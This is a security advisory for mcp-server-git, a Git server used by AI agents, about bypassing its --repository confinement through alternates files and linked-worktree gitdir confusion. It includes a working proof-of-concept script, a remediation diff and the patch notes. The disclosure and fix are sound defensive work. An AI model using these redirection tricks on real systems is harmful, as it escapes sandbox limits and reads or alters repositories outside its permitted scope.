Skip to content

mcp-server-git: Incomplete Fix for GHSA-w766-5x43-whvw in validate_opened_repo() Allows --repository Confinement Bypass via objects/info/alternates and Linked-Worktree common_dir Confusion

Moderate
cliffhall published GHSA-q74p-4wrc-q7w6 Nov 11, 2026

Package

pip mcp-server-git (pip)

Affected versions

>= 2026.10.28, < 2026.11.11

Patched versions

2026.11.11

Description

Patched versions

Fixed in mcp-server-git 2026.11.11 (#5514). Upgrade to 2026.11.11 or later. Versions before 2026.10.28 are covered by GHSA-w766-5x43-whvw.

Under --repository, the fix closes both bypasses in this report and the class around them:

  • A repository whose Git directory names an alternate object store (objects/info/alternates or objects/info/http-alternates, of any kind) is refused: under --repository, a repository reads only its own objects.
  • A Git directory or common directory outside the allowed repository is accepted only when it is the allowed repository's own: every working tree must be the allowed repository, every Git directory its Git directory, and every common directory its common directory, each compared separately. A linked worktree's Git directory can no longer pass as the main repository's common directory.
  • A symbolic link anywhere in a Git directory (at objects, refs, index, HEAD or elsewhere) that resolves outside both the allowed repository and that Git directory is refused. A link that stays inside is followed, and what it leads to is checked the same way, once per directory.

Not covered by this fix

On Windows, a directory junction inside a repository's Git directory is not yet recognised as a link by that check, so it is walked like an ordinary directory instead of being judged by where it leads. This is tracked for a follow-up release. POSIX hosts are unaffected.

Workarounds

None for affected versions other than upgrading. On Windows, until the follow-up ships, do not rely on --repository to confine the server against a client that can create junctions inside the allowed repository.


Original report

Summary

GHSA-w766-5x43-whvw ("mcp-server-git: nested gitdir file bypasses --repository confinement", published 2026-10-28) demonstrated that when mcp-server-git is started with --repository <allowed>, a caller able to write plain files inside <allowed> (for example via @modelcontextprotocol/server-filesystem write_file, with no symlink capability required) could place a .git redirection file inside <allowed>/nested to read and modify a repository outside <allowed>.

To remediate GHSA-w766-5x43-whvw, validate_opened_repo() was added in src/git/src/mcp_server_git/server.py (lines 418?474) to inspect --git-dir, --git-common-dir, and --show-toplevel. However, validate_opened_repo() on current main (b711f8d3 / 194cc86e) leaves two concrete --repository confinement bypasses under the exact same attack preconditions (plain-text file creation inside <allowed>, zero symlinks required):

  1. Cross-Repository Object Store Confinement Bypass via <common_dir>/objects/info/alternates:

    • Like .git (gitdir:) and commondir, <common_dir>/objects/info/alternates is a standard plain-text Git redirection file that instructs both Git and GitPython (GitCmdObjectDB) to resolve and read objects (commits, trees, blobs) from external .git/objects directories on the host filesystem.
    • Because objects/info/alternates does not alter --git-dir, --git-common-dir, or --show-toplevel, validate_opened_repo() passes unconditionally when <allowed>/nested/.git/objects/info/alternates contains /path/to/outside-repository/.git/objects.
    • Subsequent tool calls (git_show, git_diff, git_create_branch, git_log, git_checkout) on <allowed>/nested read committed files and commit history from the outside repository.
  2. Linked-Worktree git_dir / common_dir Set Confusion (own in validate_opened_repo):

    • In src/git/src/mcp_server_git/server.py (lines 459?474):
      escaped = [
          p
          for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))
          if not p.resolve().is_relative_to(allowed)
      ]
      if not escaped:
          return
      with git.Repo(allowed) as allowed_repo:
          own = {
              Path(allowed_repo.git_dir).resolve(),
              Path(allowed_repo.common_dir).resolve(),
          }
      for p in escaped:
          if p.resolve() not in own:
              raise outside(p)
    • When --repository <worktree> is a linked worktree of a main repository <main> (the configuration tested by test_restricted_server_serves_a_linked_worktree), allowed_repo.common_dir is <main>/.git.
    • Because validate_opened_repo() puts allowed_repo.git_dir and allowed_repo.common_dir into a single undirected set own and allows any nested path inside <worktree> to match either element, a caller who writes gitdir: /path/to/main/.git into <worktree>/nested/.git (the exact payload from GHSA-w766-5x43-whvw) passes validate_opened_repo() completely: --show-toplevel resolves to <worktree>/nested (inside <worktree>) and git_dir resolves to <main>/.git (which is in own).
    • Subsequent calls to git_reset, git_add, git_commit, or git_checkout on <worktree>/nested read and mutate <main>'s private per-worktree state (HEAD, index, MERGE_HEAD) outside the confined linked worktree.

Minimal Benign Reproduction

import tempfile, shutil
from pathlib import Path
import git
from mcp_server_git.server import (
    validate_repo_path,
    validate_opened_repo,
    git_show,
    git_create_branch,
    git_reset,
)

lab = Path(tempfile.mkdtemp(prefix="git-confinement-repro-"))
try:
    # 1. Bypass via plain-text .git/objects/info/alternates
    allowed = git.Repo.init(lab / "allowed", initial_branch="main")
    (lab / "allowed" / "a.txt").write_text("allowed
")
    allowed.index.add(["a.txt"])
    allowed.index.commit("init allowed")

    outside = git.Repo.init(lab / "outside", initial_branch="main")
    (lab / "outside" / "proof.txt").write_text("DUMMY-OUTSIDE-CONTENT
")
    outside.index.add(["proof.txt"])
    outside_commit = outside.index.commit("init outside")

    nested_alt_path = lab / "allowed" / "nested_alt"
    nested_alt = git.Repo.init(nested_alt_path, initial_branch="main")
    alt_file = Path(nested_alt.git_dir) / "objects" / "info" / "alternates"
    alt_file.parent.mkdir(parents=True, exist_ok=True)
    alt_file.write_bytes((Path(outside.git_dir) / "objects").as_posix().encode() + b"
")
    nested_alt.close()

    r1 = git.Repo(nested_alt_path)
    validate_repo_path(nested_alt_path, lab / "allowed")
    validate_opened_repo(r1, nested_alt_path, lab / "allowed")
    leaked = git_show(r1, f"{outside_commit.hexsha[:4]}:proof.txt")
    assert "DUMMY-OUTSIDE-CONTENT" in leaked
    r1.close()

    # 2. Bypass via linked-worktree git_dir / common_dir confusion in own
    (lab / "allowed" / "a.txt").write_text("staged-in-main
")
    allowed.index.add(["a.txt"])
    assert len(allowed.index.diff("HEAD")) == 1

    wt_path = lab / "worktree"
    allowed.git.worktree("add", str(wt_path), "-b", "wt-branch")

    nested_wt = wt_path / "nested"
    nested_wt.mkdir()
    (nested_wt / ".git").write_text(f"gitdir: {allowed.git_dir}
")

    r2 = git.Repo(nested_wt)
    validate_repo_path(nested_wt, wt_path)
    validate_opened_repo(r2, nested_wt, wt_path)
    git_reset(r2)  # Resets the main repository's index outside wt_path!
    assert len(allowed.index.diff("HEAD")) == 0
    r2.close()
    allowed.close()
    outside.close()
finally:
    shutil.rmtree(lab, ignore_errors=True)

Suggested Remediation (git diff)

--- a/src/git/src/mcp_server_git/server.py
+++ b/src/git/src/mcp_server_git/server.py
@@ -456,21 +456,41 @@ def validate_opened_repo(
         if not working_tree.resolve().is_relative_to(allowed):
             raise outside(working_tree)
 
-    escaped = [
-        p
-        for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))
-        if not p.resolve().is_relative_to(allowed)
-    ]
-    if not escaped:
-        return
+    resolved_git_dirs = {Path(git_dir).resolve(), Path(repo.git_dir).resolve()}
+    resolved_common_dirs = {Path(common_dir).resolve(), Path(repo.common_dir).resolve()}
+
+    escaped_git = [p for p in resolved_git_dirs if not p.is_relative_to(allowed)]
+    escaped_common = [p for p in resolved_common_dirs if not p.is_relative_to(allowed)]
+    if escaped_git or escaped_common:
+        if repo_path.resolve() != allowed:
+            raise outside((escaped_git or escaped_common)[0])
+        with git.Repo(allowed) as allowed_repo:
+            allowed_git_dir = Path(allowed_repo.git_dir).resolve()
+            allowed_common_dir = Path(allowed_repo.common_dir).resolve()
+        for p in escaped_git:
+            if p != allowed_git_dir:
+                raise outside(p)
+        for p in escaped_common:
+            if p != allowed_common_dir:
+                raise outside(p)
+
+    for cdir in resolved_common_dirs:
+        for alt_name in ("alternates", "http-alternates"):
+            alt_file = cdir / "objects" / "info" / alt_name
+            if alt_file.exists():
+                for raw_line in alt_file.read_text(errors="replace").splitlines():
+                    line = raw_line.strip()
+                    if not line or line.startswith("#"):
+                        continue
+                    alt_path = (cdir / "objects" / line).resolve()
+                    if not alt_path.is_relative_to(allowed):
+                        raise outside(alt_path)

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Credits